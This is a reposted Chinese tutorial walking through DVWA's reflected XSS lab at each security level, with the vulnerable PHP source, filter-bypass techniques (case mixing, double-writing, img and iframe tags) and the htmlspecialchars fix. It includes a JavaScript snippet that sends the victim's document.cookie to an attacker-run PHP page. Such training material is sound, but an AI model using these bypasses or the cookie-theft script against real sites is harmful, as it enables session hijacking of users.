博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DVWA XSS (Reflected) 通关教程
阅读量:4837 次
发布时间:2019-06-11

本文共 2328 字,大约阅读时间需要 7 分钟。

XSS 介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:

盗取用户 cookies劫持会话流量劫持网页挂马DDOS提升权限...

本次先介绍反射型XSS:

 

Reflected Cross Site Scripting

反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

 

Low Security Level

Hello ' . $_GET[ 'name' ] . '';}?>

可以看到,代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

Exploit

最普通的测试payload:

XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=#

成功弹窗;

弹窗之后的实战利用之盗取用户 cookies 进入后台:

攻击者自己网站http://localhost/xss/里构造:

hacker.js

var img = new Image();img.src="http://localhost/xss/hacker.php?x=" + document.cookie;document.body.append(img);

hacker.php

于是插入dvwa的xss payload为:

XSS利用,得到cookies:

修改cookies从而得到权限进入后台。

 

Medium Security Level

', '', $_GET[ 'name' ] ); // Feedback for end user echo "
Hello ${name}
";}?>

可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。

Exploit

1.大小写绕过:

XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=#

2.双写方式绕过 str_replace()函数

XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=
#

3.使用非 script 标签的 xss payload

例如:

img标签:

iframe标签:

其他标签和利用还有很多很多….

 

High Security Level

Hello ${name}";}?>

可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

Exploit

虽然无法使用<script>标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

例如:

1.使用 img 标签和其编码转换后的 XSS payload

XSS 链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=
#

img标签编码转换后的XSS payload例如:

2.使用 iframe 标签

3.使用 DATA URL 进行 XSS

其他的XSS payload还有很多很多…

 

Impossible Security Level

Hello ${name}";}// Generate Anti-CSRF tokengenerateSessionToken();?>

PHP htmlspecialchars()函数

把预定义的字符转换为HTML实体:

& (和号)成为 &" (双引号)成为 " ' (单引号)成为 '//生效需要加 ENT_QUOTES 参数< (小于)成为 <> (大于)成为 >

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

& " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

 

 

转载自:AnCoLin's Blog|影风博客DVWA XSS (Reflected) 通关教程

转载于:https://www.cnblogs.com/yyxianren/p/11381559.html

你可能感兴趣的文章
Python入门学习笔记(八) - 文件和异常、测试代码
查看>>
js模块化开发--AMD--CMD
查看>>
windows命令——explorer
查看>>
c语言中占位符
查看>>
接水问题(2010年NOIP全国联赛普及组)
查看>>
java必备基础知识(一)
查看>>
关于quicklz压缩算法在游戏中的应用
查看>>
【P1379】天才的约数和
查看>>
Mac系统上,Firefox和Selenium不兼容的情况
查看>>
人工神经网络(从原理到代码) Step 01 感知器 梯度下降
查看>>
使用dbms_logmnr查看日志文件
查看>>
SAS中的Order By - Proc Sort
查看>>
大数据时代的国际贸易理论新发展
查看>>
Node 之fs模块 运用
查看>>
对C++的改造#2 属性(2)
查看>>
js做带编辑,保存,删除,添加功能的表格
查看>>
Oracle归档的开启和关闭
查看>>
HDU 1141---Brackets Sequence(区间DP)
查看>>
NodeJS 最快速搭建一个HttpServer
查看>>
探究堆喷射(heap spray)
查看>>